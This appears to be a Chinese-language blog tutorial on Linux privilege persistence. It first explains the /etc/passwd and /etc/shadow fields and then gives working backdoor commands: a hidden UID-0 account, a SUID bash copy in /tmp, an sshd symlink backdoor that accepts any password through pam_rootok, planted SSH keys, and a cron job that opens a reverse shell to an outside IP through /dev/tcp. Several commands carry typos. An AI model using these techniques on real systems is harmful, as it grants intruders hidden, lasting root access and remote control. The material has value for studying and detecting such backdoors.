发布时间:2022-12-30 22:30
在Linux系统中,存在着两个特殊的文件 /etc/passwd 和 /etc/shadow 这两个文件中存储着用户名和加密后的密码.
在目前大多数Linux系统中,将加密后的用户密码存放在/etc/shadow中但是 /etc/shadow 只能root用户查看
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
(1)用户名
用户名,就是一串代表用户身份的字符串,用户名仅是为了方便用户记忆,Linux 系统是通过 UID 来识别用户身份,分配用户权限的。/etc/passwd 文件中就定义了用户名和 UID 之间的对应关系。
(2)密码
"x" 表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中,在早期的UNIX 中,这里保存的就是真正的加密密码串,但由于所有程序都能读取此文件,非常容易造成用户数据被窃取。虽然密码是加密的,但是采用暴力破解的方式也是能够进行破解的。因此,现在 Linux 系统把真正的加密密码串放置在/etc/shadow 文件中,此文件只有 root 用户可以浏览和操作,这样就最大限度地保证了密码的安全。
(3)UID
UID,也就是用户 ID。每个用户都有唯一的一个 UID,Linux 系统通过 UID 来识别不同的用户。实际上,UID 就是一个 0~65535 之间的数,不同范围的数字表示不同的用户身份
(4)GID
全称“Group ID”,简称“组ID”,表示用户初始组的组 ID 号。在建立用户jack 的同时,就会建立jack 组作为jack 用户的初始组。刚刚的 jack 用户除属于初始组 jack 外,我又把它加入了 bob 组,那么jack 用户同时属于 jack 组和bob 组,其中 jack是初始组,bob 是附加组。
(5)描述性信息
这个字段并没有什么重要的用途,只是用来解释这个用户的意义而已。
(6)主目录
也就是用户登录后有操作权限的访问目录,通常称为用户的主目录。
(7)默认的Shell
Shell 就是 Linux 的命令解释器,是用户和 Linux 内核之间沟通的桥梁。inux 系统默认使用的命令解释器是bash(/bin/bash)
/etc/shadow 文件,用于存储 Linux 系统中用户的密码信息,件只有 root 用户拥有读权限,其他用户没有任何权限,这样就保证了用户密码的安全性。
用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段
(1)用户名 同 /etc/passwd 文件的用户名有相同的含义。
(2)加密密码 这里保存的是真正加密的密码。目前 Linux 的密码采用的是 SHA512 散列加密算法,原来采用的是MD5 或 DES 加密算法。SHA512 散列加密算法的加密等级更高,也更加安全。 注意,这串密码产生的乱码不能手工修改,如果手工修改,系统将无法识别密码,导致密码失效。很多软件透过这个功能,在密码串前加上 "!"、""或 "x" 使密码暂时失效。 所有伪用户的密码都是 "!!" 或 "",代表没有密码是不能登录的。当然,新创建的用户如果不设定密码,那么它的密码项也是 "!!",代表这个用户没有密码,不能登录。
(3)最后一次修改时间 此字段表示最后一次修改密码的时间,可是,为什么 root 用户显示的是 15775 呢? 这是因为,Linux 计算日期的时间是以 1970 年 1 月 1 日作为 1 不断累加得到的时间,到 1971 年 1 月 1 日,则为 366天。这里显示 15775 天,也就是说,此 root 账号在 1970 年 1 月 1 日之后的第 15775 天修改的 root 用户密码。
(4)最小修改时间间隔 最小修改间隔时间,也就是说,该字段规定了从第 3 字段(最后一次修改密码的日期)起,多长时间之内不能修改密码。如果是 0,则密码可以随时修改;如果是 10,则代表密码修改后 10 天之内不能再次修改密码。此字段是为了针对某些人频繁更改账户密码而设计的。
(5)密码有效期 经常变更密码是个好习惯,为了强制要求用户变更密码,这个字段可以指定距离第 3 字段(最后一次更改密码)多长时间内需要再次变更密码,否则该账户密码进行过期阶段。该字段的默认值为 99999,也就是273 年,可认为是永久生效。如果改为 90,则表示密码被修改 90 天之后必须再次修改,否则该用户即将过期。管理服务器时,通过这个字段强制用户定期修改密码。
(6)密码需要变更前的警告天数 与第 5 字段相比较,当账户密码有效期快到时,系统会发出警告信息给此账户,提醒用户 "再过 n 天你的密码就要过期了,请尽快重新设置你的密码!"。该字段的默认值是7,也就是说,距离密码有效期的第 7 天开始,每次登录系统都会向该账户发出 "修改密码" 的警告信息。
(7)密码过期后的宽限天数
也称为“口令失效日”,简单理解就是,在密码过期后,用户如果还是没有修改密码,则在此字段规定的宽限天数内,用户还是可以登录系统的;如果过了宽限天数,系统将不再让此账户登陆,也不会提示账户过期,是完全禁用。比如说,此字段规定的宽限天数是 10,则代表密码过期 10 天后失效;如果是 0,则代表密码过期后立即失效;如果是 -1,则代表密码永远不会失效。
(8)账号失效时间
同第 3 个字段一样,使用自 1970 年 1 月 1 日以来的总天数作为账户的失效时间。该字段表示,账号在此字段规定的时间之外,不论你的密码是否过期,都将无法使用!该字段通常被使用在具有收费服务的系统中。
(9)保留 这个字段目前没有使用,等待新功能的加入。
添加普通用户
# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd 1 -salt 'salt' 123456` guest
# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test
特权帐户:在添加用户的时候将 UID更改为0,使用useradd命令创建用户
useradd -p `openssl passwd -1 salt 'salt' 123456` bob2 -o -u 0 -g root -G root -s /bin/bash -d /home/bob
SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。
注意以下几点:
找到bash文件
whereis bash
复制到普通用户能接触的文件夹
cp /bin/bash /tmp/.bash
设置权限
chmod 4755 /tmp/.bash
chmod +s /tmp/.bash
使用普通用户登录,运行bash文件后成为root权限
/tmp/.bash -p
找到支持pam认证的程序,并挑出配置了pam_rootok.so模块的程序。它的作用就是如果用户uid为0,就不需要登陆密码了。选定一个程序建立软连接,远程ssh登录即可不用密码。
PAM认证一般遵循这样的顺序:Service(服务)→PAM(配置件)→pam_*.so。PAM认证首先要确定那一项服务,然后加载相应的PAM的配置文件(位于/etc/pam.d下),最后调用认证文件(位于/lib/security下)进行安全认证,用户访问服务器的时候,服务器的某一个服务程序把用户的谁请求发送到PAM模块进行认证。
如果想查看某个程序是否支持PAM使用 ls /etc/pam.d
软连接称之为符号连接(Symbolic Link),也叫软连接。软链接文件有类似于Windows的快捷方式。它实际上是一个特殊的文件。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。
个人理解:有一个文件1,创建一个文件2与1建立软连接,此时文件2指向文件1的位置信息
pam_rootok.so”模块的功能是若用户UID是0,返回成功,当“ /etc/pam. d/ssh”文件配置了“ auth sufficientpam_rootok.so”时可以不需要密码登录。
当在被控制端执行命令“ln -sf /usr/sbin/shd /tmp/su;/tmp/su-oPort=1234”建立shd的软连接后门,PAM认证时会根据软连接的名字到“ /etc/pam. d”目录寻找对应到PAM认证文件,由于软连接的文件名为“su”,所以SSH的认证文件就被替换成了“/ 'etc/pam. d/su”,而“su”中默认配置了“ authsufficient pam_rootok.so”,从而导致SSH可以不需要密码登录。
1、判断此计算机SSH是否开启了PAM认证
cat /etc/ssh/sshd_config|grep UsePAM
2、查看pmd.m文件下哪些文件配置了pam_rootok
find /etc/pam.d |xargs grep “pam_rootok”
3、以root权限建软连接
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=23333
ln -sf /usr/sbin/sshd /tmp/chsh :建立sshd的软连接
/tmp/chsh -oPort=23333 :更改端口为23333
4、进行登录
ssh root@[IP地址] -p [后门端口]
密码随便输入都可以
用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。
1、在需要登录服务器的机器上生成公钥和私钥
2、将生成的 id_rsa.pub 文件复制到服务器的 /root/.ssh/authorized_keys 文件中
3、查看服务器中/etc/ssh/sshd_confg文件是否开启了公私钥登录
cat /etc/ssh/sshd_config
Linux crontab 是用来定期执行程序的命令。
注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行。
时间格式如下:
f1 f2 f3 f4 f5 program
其中 f1 是表示分钟,f2 表示小时,f3 表示一个月份中的第几日,f4 表示月份,f5 表示一个星期中的第几天。program 表示要执行的程序。
当 f1 为 * 时表示每分钟都要执行 program,f2 为 * 时表示每小时都要执行程序,其馀类推
当 f1 为 ab 时表示从第 a 分钟到第 b 分钟这段时间内要执行,f2 为 ab 时表示从第 a 到第 b 小时都要执行,其馀类推
当 f1 为 */n 时表示每 n 分钟个时间间隔执行一次,f2 为 */n 表示每 n 小时个时间间隔执行一次,其馀类推
当 f1 为 a, b, c,... 时表示第 a, b, c,... 分钟要执行,f2 为 a, b, c,... 时表示第 a, b, c...个小时要执行,其馀类推
1、创建shell脚本在 /tmp/shell.sh
bash i >&/dev/tcp/192.168.41.129/12345 0>&1
2、更改权限
chmod 755 /tmp/shell.sh
3、编辑计划任务 crontab -e 输入 */1 * * * * /tmp/shell.sh ,如果是-e编辑的不需要添加用户名
systemctl status crond //查看计划任务状态
systemctl start crond.service//启动计划任务
4、在192.168.41.129上用nc监听,如果不行记得关闭防火墙 systemctl stop firewalld.service